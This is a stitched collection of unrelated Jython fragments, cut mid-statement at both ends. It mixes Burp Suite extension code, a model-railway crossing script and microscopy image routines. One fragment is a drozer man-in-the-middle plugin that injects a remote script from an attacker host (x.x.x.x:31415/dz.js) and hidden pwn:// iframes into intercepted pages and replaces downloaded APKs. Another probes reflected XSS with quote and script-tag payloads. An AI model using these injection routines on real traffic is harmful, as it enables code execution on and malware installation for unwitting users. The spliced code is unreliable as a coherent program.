db.deletedUserCount self.deletedRoleCount = db.deletedRoleCount self.deletedMessageCount = db.deletedMessageCount self.arrayOfMessages = ArrayList() self.tempRequestResponse = [] index=0 newDomain = None replaceForAll = False skipped = 0 for message in db.arrayOfMessages: keeptrying = True while keeptrying: self.tempRequestResponse.append(None) if newDomain: requestData = replaceDomain(message._requestData, message._host, newDomain) host = newDomain # TODO consider changing port too? else: requestData = message._requestData host = message._host t = Thread(target=loadRequestResponse, args = [index, callbacks, helpers, host, message._port, message._protocol, requestData]) t.start() t.join(self.LOAD_TIMEOUT) if not t.isAlive() and self.tempRequestResponse[index] != None: self.arrayOfMessages.add(MessageEntry( message._index, message._tableRow-skipped, callbacks.saveBuffersToTempFiles(self.tempRequestResponse[index]), message._url, message._name, message._roles, message._successRegex, message._deleted)) keeptrying = False if not replaceForAll: newDomain = None else: keeptrying, newDomain, replaceForAll = extender.changeDomainPopup(host, message._tableRow) if not keeptrying: skipped += 1 index += 1 self.lock.release() def getSaveableObject(self): # TODO: might not need locks? self.lock.acquire() serializedMessages = [] for message in self.arrayOfMessages: serializedMessages.append(MessageEntryData( message._index, message._tableRow, message._requestResponse.getRequest(), message._requestResponse.getHttpService().getHost(), message._requestResponse.getHttpService().getPort(), message._requestResponse.getHttpService().getProtocol(), message._url, message._name, message._roles, message._successRegex, message._deleted)) ret = MatrixDBData(serializedMessages,self.arrayOfRoles, self.arrayOfUsers, self.deletedUserCount, self.deletedRoleCount, self.deletedMessageCount) self.lock.release() return ret def getActiveUserIndexes(self): return [x._index for x in self.arrayOfUsers if not x.isDeleted()] def getActiveRoleIndexes(self): return [x._index for x in self.arrayOfRoles if not x.isDeleted()] def getActiveMessageIndexes(self): return [x._index for x in self.arrayOfMessages if not x.isDeleted()] def getMessageByRow(self, row): for m in self.arrayOfMessages: if not m.isDeleted() and m.getTableRow() == row: return m def getUserByRow(self, row): for u in self.arrayOfUsers: if not u.isDeleted() and u.getTableRow() == row: return u def getRoleByMessageTableColumn(self, column): for r in self.arrayOfRoles: if not r.isDeleted() and r.getMTableColumn() == column: return r def getRoleByUserTableColumn(self, column): for r in self.arrayOfRoles: if not r.isDeleted() and r.getUTableColumn() == column: return r def deleteUser(self,userIndex): self.lock.acquire() userEntry = self.arrayOfUsers[userIndex] if userEntry: userEntry._deleted = True self.deletedUserCount += 1 if len(self.arrayOfUsers) > userIndex+1: for i in self.arrayOfUsers[userIndex+1:]: i._tableRow -= 1 self.lock.release() def deleteRole(self,roleIndex): self.lock.acquire() roleEntry = self.arrayOfRoles[roleIndex] if roleEntry: roleEntry._deleted = True self.deletedRoleCount += 1 if len(self.arrayOfRoles) > roleIndex+1: for i in self.arrayOfRoles[roleIndex+1:]: i.updateMTableColumn(i.getMTableColumn()-1) i.updateUTableColumn(i.getUTableColumn()-1) self.lock.release() def deleteMessage(self,messageIndex): self.lock.acquire() messageEntry = self.arrayOfMessages[messageIndex] if messageEntry: messageEntry._deleted = True self.deletedMessageCount += 1 if len(self.arrayOfMessages) > messageIndex+1: for i in self.arrayOfMessages[messageIndex+1:]: i._tableRow -= 1 self.lock.release() # TODO: If this method is unused, probably remove it? def getUserEntriesWithinRole(self, roleIndex): return [userEntry for userEntry in self.arrayOfUsers if userEntry._roles[roleIndex]]
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Custom logger") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return # # implement ITab # def getTabCaption(self): return "Logger" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # only process response if not messageIsRequest: # create a new log entry with the message details self._lock.acquire() row = self._log.size() self._log.add(LogEntry(toolFlag, self._callbacks.saveBuffersToTempFiles(messageInfo), self._helpers.analyzeRequest(messageInfo).getUrl())) self.fireTableRowsInserted(row, row) self._lock.release() return # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 2 def getColumnName(self, columnIndex): if columnIndex == 0: return "Tool" if columnIndex == 1: return "URL" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 1: return logEntry._url.toString() return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # # Evil global variables # Be ready to receive hate mail Tyrone & Daniel! # apkRequests = {} # # Executors # def injectPwn(self, messageInfo): # Get response response = messageInfo.getResponse() responseParsed = self._helpers.analyzeResponse(response) body = self._callbacks.getHelpers().bytesToString(response)[responseParsed.getBodyOffset():] headers = responseParsed.getHeaders() if not self.tools[2].getTickBoxTicked(): # Method 1 - silent invocation - Inject iframe loading from pwn:// into responses (case insensitive) changedContent = re.sub(re.compile(r'</body>', re.IGNORECASE), '<iframe src="pwn://lol" width=1 height=1 style="visibility:hidden;position:absolute"></iframe></body>', body) else: # Method 2 - active invocation - redirect to the pwn:// handler (this is a requirement for versions of Chromium >= 25) changedContent = re.sub(re.compile(r'</body>', re.IGNORECASE), '<script>window.location="pwn://www.google.com/pluginerror.html"</script></body>', body) changedContentBytes = self._callbacks.getHelpers().stringToBytes(changedContent) final = self._callbacks.getHelpers().buildHttpMessage(headers, changedContentBytes); # Set the response if the content changed and add to log if body != changedContent: messageInfo.setResponse(final) self.addLog(self._helpers.analyzeRequest(messageInfo).getUrl(), "Injected drozer invocation with pwn://") return def injectJs(self, messageInfo): # Get response response = messageInfo.getResponse() responseParsed = self._helpers.analyzeResponse(response) body = self._callbacks.getHelpers().bytesToString(response)[responseParsed.getBodyOffset():] headers = responseParsed.getHeaders() editBoxStr = str(self.tools[0].getEditBox()) # Inject arbitrary script into responses changedContent = re.sub(re.compile(r'<head>', re.IGNORECASE), '<head><script src="' + editBoxStr + '"></script>', body) changedContent = re.sub(re.compile(r'</body>', re.IGNORECASE), '<script src="' + editBoxStr + '"></script></body>', changedContent) changedContent = re.sub(re.compile(r'<content>', re.IGNORECASE), '<content><script src="' + editBoxStr + '"></script>', changedContent) changedContentBytes = self._callbacks.getHelpers().stringToBytes(changedContent) final = self._callbacks.getHelpers().buildHttpMessage(headers, changedContentBytes); # Set the response if the content changed and add to log if body != changedContent: messageInfo.setResponse(final) self.addLog(self._helpers.analyzeRequest(messageInfo).getUrl(), "Injected JavaScript from " + editBoxStr) return def modifyAPKRequest(self, messageInfo): # Get requested path req = self._callbacks.getHelpers().analyzeRequest(messageInfo) reqUrl = req.getUrl() headers = list(req.getHeaders()) # convert to python list reqHost = reqUrl.getHost() reqPath = reqUrl.getPath() reqPort = reqUrl.getPort() # If it ends in .apk then change type to HEAD if reqPath.upper().endswith(".APK"): self.addLog(reqUrl, "Got request for APK...") # Determine whether an HTTP or HTTPS connection must be made if reqPort == 443: conn = httplib.HTTPSConnection(reqHost, reqPort) else: conn = httplib.HTTPConnection(reqHost, reqPort) # Get headers from user request httpLibHeaders = {} for i in headers: splitHeaders = i.split(": ") if len(splitHeaders) == 2: httpLibHeaders[splitHeaders[0]] = splitHeaders[1] # Perform HEAD on target file from server using headers conn.request("HEAD", reqPath, headers=httpLibHeaders) response = conn.getresponse() responseHeaders = response.getheaders() # Add to information for use by injectAPK() version = "" if str(response.version) == "11": version = "HTTP/1.1" else: version = "HTTP/1.0" self.apkRequests[reqPath] = [reqUrl, version + " " + str(response.status) + " " + str(response.reason), responseHeaders] print self.apkRequests[reqPath] # Instead of passing request - change host to www.google.com which will be non existent httpService = messageInfo.getHttpService() messageInfo.setHttpService(self._callbacks.getHelpers().buildHttpService("www.google.com", httpService.getPort(), httpService.getProtocol())) return def injectAPK(self, messageInfo): # Get requested path req = self._callbacks.getHelpers().analyzeRequest(messageInfo) reqUrl = req.getUrl() reqHost = reqUrl.getHost() reqPath = reqUrl.getPath() reqPort = reqUrl.getPort() # If it ends in .apk then replace it! if reqPath.upper().endswith(".APK"): # Check this is a request we have seen if reqPath in self.apkRequests: # Get stored url and header res = self.apkRequests[reqPath] url = res[0] httpStatus = res[1] headers = [] headers.append(httpStatus) for i in res[2]: headers.append(i[0] + ': ' + ''.join(i[1:])) # Open and read APK from specified path f = open(self.tools[1].getEditBox()) changedContentBytes = f.read() f.close() final = self._callbacks.getHelpers().buildHttpMessage(headers, changedContentBytes); # Replace response with new APK messageInfo.setResponse(final) self.addLog(url, "Replaced APK!") return def injectCustomURI(self, messageInfo): # Get response response = messageInfo.getResponse() responseParsed = self._helpers.analyzeResponse(response) body = self._callbacks.getHelpers().bytesToString(response)[responseParsed.getBodyOffset():] headers = responseParsed.getHeaders() uri = self.tools[3].getEditBox() if not self.tools[3].getTickBoxTicked(): # Method 1 - silent invocation - Inject iframe loading from pwn:// into responses (case insensitive) changedContent = re.sub(re.compile(r'</body>', re.IGNORECASE), '<iframe src="' + uri + '" width=1 height=1 style="visibility:hidden;position:absolute"></iframe></body>', body) else: # Method 2 - active invocation - redirect to the pwn:// handler (this is a requirement for versions of Chromium >= 25) changedContent = re.sub(re.compile(r'</body>', re.IGNORECASE), '<script>window.location="' + uri + '"</script></body>', body) changedContentBytes = self._callbacks.getHelpers().stringToBytes(changedContent) final = self._callbacks.getHelpers().buildHttpMessage(headers, changedContentBytes); # Set the response if the content changed and add to log if body != changedContent: messageInfo.setResponse(final) self.addLog(self._helpers.analyzeRequest(messageInfo).getUrl(), "Injected custom URI") return def nothing(self, messageInfo): pass # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # Make available to whole class self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("MitM helper plugin for drozer") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # Split pane self._splitpane = swing.JSplitPane(swing.JSplitPane.HORIZONTAL_SPLIT) # Create Tab topPanel = swing.JPanel() topPanel.setLayout(swing.BoxLayout(topPanel, swing.BoxLayout.Y_AXIS)) # Define all tools self.tools = [] self.tools.append(Tool(180, "JavaScript Injection", "Inject Remote JS into HTTP Responses", self.nothing, self.injectJs, "JS Location", "http://x.x.x.x:31415/dz.js")) self.tools.append(Tool(180, "APK Replacement", "Replace APK with specified one when requested", self.modifyAPKRequest, self.injectAPK, "APK Location", "", True)) self.tools.append(Tool(170, "Invoke drozer using pwn://", "Inject code into HTTP Responses that invokes installed drozer agent", self.nothing, self.injectPwn, None, None, None, "Perform active invocation (required for Chromium >= 25)")) self.tools.append(Tool(220, "Custom URI Handler Injection", "Inject code into HTTP Responses that invokes specified URI handler", self.nothing, self.injectCustomURI, "URI", "pwn://me", None, "Perform active invocation (required for Chromium >= 25)")) # Add all tools to panel for i in self.tools: topPanel.add(i.getPanel()) self._splitpane.setLeftComponent(topPanel) # table of log entries logTable = Table(self) logTable.setAutoResizeMode( swing.JTable.AUTO_RESIZE_ALL_COLUMNS ); logTable.getColumn("Time").setPreferredWidth(120) logTable.getColumn("URL").setPreferredWidth(500) scrollPane = swing.JScrollPane(logTable) self._splitpane.setRightComponent(scrollPane) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(topPanel) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return def addLog(self, url, action): self._lock.acquire() row = self._log.size() self._log.add(LogEntry(strftime("%Y-%m-%d %H:%M:%S", gmtime()), url, action)) self.fireTableRowsInserted(row, row) self._lock.release() # # implement ITab # def getTabCaption(self): return "drozer" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # Execute all enabled tools for i in self.tools: if i.getButtonEnabled(): if messageIsRequest: i.getRequestExecutor()(messageInfo) else: i.getResponseExecutor()(messageInfo) # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 3 def getColumnName(self, columnIndex): if columnIndex == 0: return "Time" if columnIndex == 1: return "URL" if columnIndex == 2: return "Action" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._time if columnIndex == 1: return logEntry._url if columnIndex == 2: return logEntry._action return ""
# Timer elapsed listener class timerElapsed(ActionListener): # Handles the timer elapsed event def actionPerformed(self, e): for i in range(islandBlocks.size()) : if (blocks.getBlock(islandBlocks.get(i)).getState() == jmri.Block.OCCUPIED): break else : print "Timer Fired" listener.StopGradeCrossing() # Create the grade crossing listener listener = GradeCrossingListener() # Create a timer that calls its elapsed listener after a delay. Stops the grade # crossing after the delay if the island is not occupied by a train. timer = Timer(1000 * delay, timerElapsed()) # Add a PropertyChangeListner for each approach block and create the block if it # does not already exist. for i in range(approachBlocks.size()) : blocks.provideBlock(approachBlocks.get(i)).addPropertyChangeListener(listener) # Add a PropertyChangeListner for each island block and create the block if it # does not already exist. for i in range(islandBlocks.size()) : blocks.provideBlock(islandBlocks.get(i)).addPropertyChangeListener(listener)
# 0 corresponds to the first mass image (e.g. mass 12.0) # 1 corresponds to the second mass image (e.g. mass 13.0) ratioProps1 = RatioProps(1, 0) mp1 = MimsPlus(ui, ratioProps1) imageArray.add(mp1) IJ.log("Opening ratio: "+mp1.getTitle()) # Ratio images # 2 corresponds to the first mass image (e.g. mass 26.0) # 3 corresponds to the second mass image (e.g. mass 27.0) ratioProps2 = RatioProps(3, 2) mp2 = MimsPlus(ui, ratioProps2) imageArray.add(mp2) IJ.log("Opening ratio: "+mp2.getTitle()) images = jarray.zeros(imageArray.size(), MimsPlus) images = imageArray.toArray(images) #//////////////////////////// # Create and display table. #//////////////////////////// table = MimsJTable(ui) table.setStats(stats) table.setRois(rois) table.setImages(images) table.setPlanes(planes) #append=false nPlanes = ui.getOpener().getNImages() if nPlanes > 1: table.createTable(False) else:
def extractBlockMatches(filepath1, filepath2, params, paramsSIFT, properties, csvDir, exeload, load): """ filepath1: the file path to an image of a section. filepath2: the file path to an image of another section. params: dictionary of parameters necessary for BlockMatching. exeload: an ExecutorService for parallel loading of image files. load: a function that knows how to load the image from the filepath. return False if the CSV file already exists, True if it has to be computed. """ # Skip if pointmatches CSV file exists already: csvpath = os.path.join( csvDir, basename(filepath1) + '.' + basename(filepath2) + ".pointmatches.csv") if os.path.exists(csvpath): return False try: # Load files in parallel futures = [ exeload.submit(Task(load, filepath1)), exeload.submit(Task(load, filepath2)) ] fp1 = futures[0].get( ) # FloatProcessor, already Gaussian-blurred, contrast-corrected and scaled! fp2 = futures[1].get() # FloatProcessor, idem # Define points from the mesh sourcePoints = ArrayList() # List to fill sourceMatches = ArrayList( ) # of PointMatch from filepath1 to filepath2 # Don't use blockmatching if the dimensions are different use_blockmatching = fp1.getWidth() == fp2.getWidth() and fp1.getHeight( ) == fp2.getHeight() # Fill the sourcePoints mesh = TransformMesh(params["meshResolution"], fp1.width, fp1.height) PointMatch.sourcePoints(mesh.getVA().keySet(), sourcePoints) syncPrintQ("Extracting block matches for \n S: " + filepath1 + "\n T: " + filepath2 + "\n with " + str(sourcePoints.size()) + " mesh sourcePoints.") # Run BlockMatching.matchByMaximalPMCCFromPreScaledImages( fp1, fp2, params["scale"], # float params["blockRadius"], # X params["blockRadius"], # Y params["searchRadius"], # X params["searchRadius"], # Y params["minR"], # float params["rod"], # float params["maxCurvature"], # float sourcePoints, sourceMatches) # At least some should match to accept the translation if len(sourceMatches) < max(20, len(sourcePoints) / 5) / 2: syncPrintQ( "Found only %i blockmatching pointmatches (from %i source points)" % (len(sourceMatches), len(sourcePoints))) syncPrintQ( "... therefore invoking SIFT pointmatching for:\n S: " + basename(filepath1) + "\n T: " + basename(filepath2)) # Can fail if there is a shift larger than the searchRadius # Try SIFT features, which are location independent # # Images are now scaled: load originals futures = [ exeload.submit( Task(loadFloatProcessor, filepath1, params, paramsSIFT, scale=False)), exeload.submit( Task(loadFloatProcessor, filepath2, params, paramsSIFT, scale=False)) ] fp1 = futures[0].get() # FloatProcessor, original fp2 = futures[1].get() # FloatProcessor, original # Images can be of different size: scale them the same way area1 = fp1.width * fp1.height area2 = fp2.width * fp2.height if area1 == area2: paramsSIFT1 = paramsSIFT.clone() paramsSIFT1.maxOctaveSize = int( max(properties.get("SIFT_max_size", 2048), fp1.width * params["scale"])) paramsSIFT1.minOctaveSize = int(paramsSIFT1.maxOctaveSize / pow(2, paramsSIFT1.steps)) paramsSIFT2 = paramsSIFT1 else: bigger, smaller = (fp1, fp2) if area1 > area2 else (fp2, fp1) target_width_bigger = int( max(1024, bigger.width * params["scale"])) if 1024 == target_width_bigger: target_width_smaller = int(1024 * float(smaller.width) / bigger.width) else: target_width_smaller = smaller.width * params["scale"] # paramsSIFT1 = paramsSIFT.clone() paramsSIFT1.maxOctaveSize = target_width_bigger paramsSIFT1.minOctaveSize = int(paramsSIFT1.maxOctaveSize / pow(2, paramsSIFT1.steps)) paramsSIFT2 = paramsSIFT.clone() paramsSIFT2.maxOctaveSize = target_width_smaller paramsSIFT2.minOctaveSize = int(paramsSIFT2.maxOctaveSize / pow(2, paramsSIFT2.steps)) ijSIFT1 = SIFT(FloatArray2DSIFT(paramsSIFT1)) features1 = ArrayList() # of Point instances ijSIFT1.extractFeatures(fp1, features1) ijSIFT2 = SIFT(FloatArray2DSIFT(paramsSIFT2)) features2 = ArrayList() # of Point instances ijSIFT2.extractFeatures(fp2, features2) # Vector of PointMatch instances sourceMatches = FloatArray2DSIFT.createMatches( features1, features2, params.get( "max_sd", 1.5), # max_sd: maximal difference in size (ratio max/min) TranslationModel2D(), params.get("max_id", Double.MAX_VALUE ), # max_id: maximal distance in image space params.get("rod", 0.9)) # rod: ratio of best vs second best # Store pointmatches savePointMatches(os.path.basename(filepath1), os.path.basename(filepath2), sourceMatches, csvDir, params) return True except: printException()
class BurpExtender(IBurpExtender, IHttpListener, IProxyListener, IScannerListener, IExtensionStateListener, ITab, IMessageEditorController, AbstractTableModel): def registerExtenderCallbacks(self, callbacks): # set our extension name self._callbacks = callbacks self.ATTRIBUTE_QUOTES = "(\".*\")|(\'.*\')" callbacks.setExtensionName("Rexsser") # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) self._helpers = callbacks.getHelpers() # register ourselves as an HTTP listener self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) callbacks.registerHttpListener(self) return def getTabCaption(self): return "Rexsser" def getUiComponent(self): return self._splitpane def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "Detail" if columnIndex == 1: return "Parameter" if columnIndex == 2: return "URL" if columnIndex == 3: return "WAF Status" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._detail if columnIndex == 1: return logEntry._parameter if columnIndex == 2: return logEntry._url if columnIndex == 3: return logEntry._waf return "" def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if messageIsRequest: return self.toolFlag = toolFlag patt = "var (\w+).*=.*(.*)" payloads = [ "fixedvaluehopefullyexists", "random1'ss", "random2\"ss", "dumm</script>ss", "<h1>duteer</h1>ss" ] for payload in payloads: if self._callbacks.getToolName(toolFlag) == "Proxy": self.processTestcases(patt, messageInfo, payload) def issues(self, messageInfo, detail, param, waf): self._lock.acquire() row = self._log.size() self._log.add( LogEntry(param, self._callbacks.saveBuffersToTempFiles(messageInfo), self._helpers.analyzeRequest(messageInfo).getUrl(), detail, waf)) self.fireTableRowsInserted(row, row) self._lock.release() def processTestcases(self, patt, messageInfo, payload): irequest = self._helpers.analyzeRequest(messageInfo) url = irequest.getUrl() response = messageInfo.getResponse() httpservice = messageInfo.getHttpService() inject = URLEncoder.encode(payload, "UTF-8") if self._callbacks.isInScope(url): #patt = "var (\w+).*=.*('|\")(.*)('|\")" words = [] x = re.findall(patt, self._helpers.bytesToString(response)) for y in x: words.append(y[0]) sortedwords = list(set(words)) if len(sortedwords) > 0: for word in sortedwords: param = self._helpers.buildParameter( word, inject, IParameter.PARAM_URL) newrequest = self._helpers.addParameter( messageInfo.getRequest(), param) t = threading.Thread(target=self.makeRequest, args=[ messageInfo.getHttpService(), newrequest, word, payload ]) t.daemon = True t.start() def makeRequest(self, httpservice, requestBytes, word, payload): #useHttps = 1 if httpservice.getProtocol() == 'https' else 0 #print(self._helpers.bytesToString(requestBytes)) bRequestResponse = self._callbacks.makeHttpRequest( httpservice, requestBytes) tResp = bRequestResponse.getResponse() status = self._helpers.analyzeResponse(tResp).getStatusCode() url = self._helpers.analyzeRequest(bRequestResponse).getUrl() response = self._helpers.bytesToString(tResp) if status != 302: if status == 200: waf = "Allowed" else: waf = "Unknown" if payload in response: if payload == 'fixedvaluehopefullyexists': str1 = word + " is a valid parameter" str2 = self.definesContext(payload, response) self.issues(bRequestResponse, str2 + " " + str1, word, waf) if payload == 'random1\'ss': str1 = word + " single quote reflection allowed" str2 = self.definesContext(payload, response) self.issues(bRequestResponse, str2 + " " + str1, word, waf) if payload == 'random2"ss': str1 = word + " Double quote allowed" str2 = self.definesContext(payload, response) self.issues(bRequestResponse, str2 + " " + str1, word, waf) if payload == 'dumm</script>ss': str1 = word + " Script tags allowed" str2 = self.definesContext(payload, response) self.issues(bRequestResponse, str2 + " " + str1, word, waf) if payload == '<h1>duteer</h1>ss': str1 = word + " HTML tags allowed" str2 = self.definesContext(payload, response) self.issues(bRequestResponse, str2 + " " + str1, word, waf) else: pass if status == 403: self.issues(bRequestResponse, "", word, "Blocked") def definesContext(self, reflection, html): indx = html.find(reflection) q = html[indx - 1] q2 = html[indx + len(reflection)] if q in reflection and q == '"': return "[Vulnerable][attribute][\"]" if q in reflection and q == "'": return "[Vulnerable][attribute][']" else: return "[Possible]"
class GuiLog(AbstractTableModel): ''' Acts as an AbstractTableModel for the table that is shown in the UI tab: when this data structure changes, the in-UI table is updated. ''' def __init__(self, callbacks): ''' Creates a Java-style ArrayList to hold LogEntries that appear in the table ''' self.ui = None self._log = ArrayList() self._lock = Lock() self._callbacks = callbacks self._helpers = callbacks.getHelpers() def clear(self): ''' Clears all entries from the table ''' self._lock.acquire() last = self._log.size() if last > 0: self._log.clear() self.fireTableRowsDeleted(0, last-1) # Note: if callees modify table this could deadlock self._lock.release() def add_entry(self, entry): ''' Adds entry to the table ''' self._lock.acquire() row = self._log.size() self._log.add(entry) # Note: if callees modify table this could deadlock self.fireTableRowsInserted(row, row) self._lock.release() def remove_entry(self, entry): ''' Removes entry from the table ''' self._lock.acquire() for i in range(0, len(self._log)): ei = self._log[i] if ei.md5 == entry.md5: self._log.remove(i) break self.fireTableRowsDeleted(i, i) self._lock.release() def getRowCount(self): ''' Used by the Java Swing UI ''' try: return self._log.size() except: return 0 def getColumnCount(self): ''' Used by the Java Swing UI ''' return 5 def getColumnName(self, columnIndex): ''' Used by the Java Swing UI ''' cols = ["Time added", "Tool", "URL", "Issue", "Who"] try: return cols[columnIndex] except KeyError: return "" def get(self, rowIndex): ''' Gets the LogEntry at rowIndex ''' return self._log.get(rowIndex) def getValueAt(self, rowIndex, columnIndex): ''' Used by the Java Swing UI ''' logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry.timestamp elif columnIndex == 1: return logEntry.tool.capitalize() elif columnIndex == 2: return logEntry.url elif columnIndex == 3: if logEntry.tool == "scanner": return logEntry.issue_name else: return "N/A" elif columnIndex == 4: return logEntry.who return ""
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory, IExtensionStateListener): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Burp Scope Monitor Experimental") self.GLOBAL_HANDLER_ANALYZED = False self.GLOBAL_HANDLER = False self.STATUS = False self.AUTOSAVE_REQUESTS = 10 self.AUTOSAVE_TIMEOUT = 600 # 10 minutes should be fine self.CONFIG_INSCOPE = True self.BAD_EXTENSIONS_DEFAULT = [ '.gif', '.png', '.js', '.woff', '.woff2', '.jpeg', '.jpg', '.css', '.ico', '.m3u8', '.ts', '.svg' ] self.BAD_MIMES_DEFAULT = [ 'gif', 'script', 'jpeg', 'jpg', 'png', 'video', 'mp2t' ] self.BAD_EXTENSIONS = self.BAD_EXTENSIONS_DEFAULT self.BAD_MIMES = self.BAD_MIMES_DEFAULT # create the log and a lock on which to synchronize when adding log entries self._currentlyDisplayedItem = None self.SELECTED_MODEL_ROW = 0 self.SELECTED_VIEW_ROW = 0 self._log = ArrayList() self._fullLog = ArrayList() self._lock = Lock() self._lockFile = Lock() # main split pane self._parentPane = JTabbedPane() self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) ##### config pane self._config = JTabbedPane() config = JPanel() iexport = JPanel() #config.setLayout(BorderLayout()) config.setLayout(None) iexport.setLayout(None) # config radio button X_BASE = 40 Y_OFFSET = 5 Y_OPTION = 200 Y_OPTION_SPACING = 20 Y_CHECKMARK_SPACING = 20 self.showAllButton = JRadioButton(SHOW_ALL_BUTTON_LABEL, True) self.showNewButton = JRadioButton(SHOW_NEW_BUTTON_LABEL, False) self.showTestedButton = JRadioButton(SHOW_TEST_BUTTON_LABEL, False) self.showAllButton.setBounds(40, 60 + Y_OFFSET, 400, 30) self.showNewButton.setBounds(40, 80 + Y_OFFSET, 400, 30) self.showTestedButton.setBounds(40, 100 + Y_OFFSET, 400, 30) #self.showNewButton = JRadioButton(SHOW_NEW_BUTTON_LABEL, False) #self.showTestedButton = JRadioButton(SHOW_TEST_BUTTON_LABEL, False) self.showAllButton.addActionListener(self.handleRadioConfig) self.showNewButton.addActionListener(self.handleRadioConfig) self.showTestedButton.addActionListener(self.handleRadioConfig) self.clearButton = JButton("Clear") self.clearButton.addActionListener(self.handleClearButton) self.clearButton.setBounds(40, 20, 100, 30) self.startButton = JButton(MONITOR_ON_LABEL) self.startButton.addActionListener(self.handleStartButton) self.startButton.setBounds(150, 20, 200, 30) self.badExtensionsLabel = JLabel("Ignore extensions:") self.badExtensionsLabel.setBounds(X_BASE, 150, 200, 30) self.badExtensionsText = JTextArea("") self.loadBadExtensions() self.badExtensionsText.setBounds(X_BASE, 175, 310, 30) self.badExtensionsButton = JButton("Save") self.badExtensionsButton.addActionListener( self.handleBadExtensionsButton) self.badExtensionsButton.setBounds(355, 175, 70, 30) self.badExtensionsDefaultButton = JButton("Load Defaults") self.badExtensionsDefaultButton.addActionListener( self.handleBadExtensionsDefaultButton) self.badExtensionsDefaultButton.setBounds(430, 175, 120, 30) self.badMimesLabel = JLabel("Ignore mime types:") self.badMimesLabel.setBounds(X_BASE, 220, 200, 30) self.badMimesText = JTextArea("") self.loadBadMimes() self.badMimesText.setBounds(X_BASE, 245, 310, 30) self.badMimesButton = JButton("Save") self.badMimesButton.addActionListener(self.handleBadMimesButton) self.badMimesButton.setBounds(355, 245, 70, 30) self.badMimesDefaultButton = JButton("Load Defaults") self.badMimesDefaultButton.addActionListener( self.handleBadMimesDefaultButton) self.badMimesDefaultButton.setBounds(430, 245, 120, 30) self.otherLabel = JLabel("Other:") self.otherLabel.setBounds(40, 300, 120, 30) self.otherLabel2 = JLabel("Other:") self.otherLabel2.setBounds(X_BASE, Y_OPTION, 120, 30) self.autoSaveOption = JCheckBox("Auto save periodically") self.autoSaveOption.setSelected(True) self.autoSaveOption.addActionListener(self.handleAutoSaveOption) self.autoSaveOption.setBounds(X_BASE, Y_OPTION + Y_CHECKMARK_SPACING, 420, 30) self.repeaterOptionButton = JCheckBox( "Repeater request automatically marks as analyzed") self.repeaterOptionButton.setSelected(True) self.repeaterOptionButton.addActionListener( 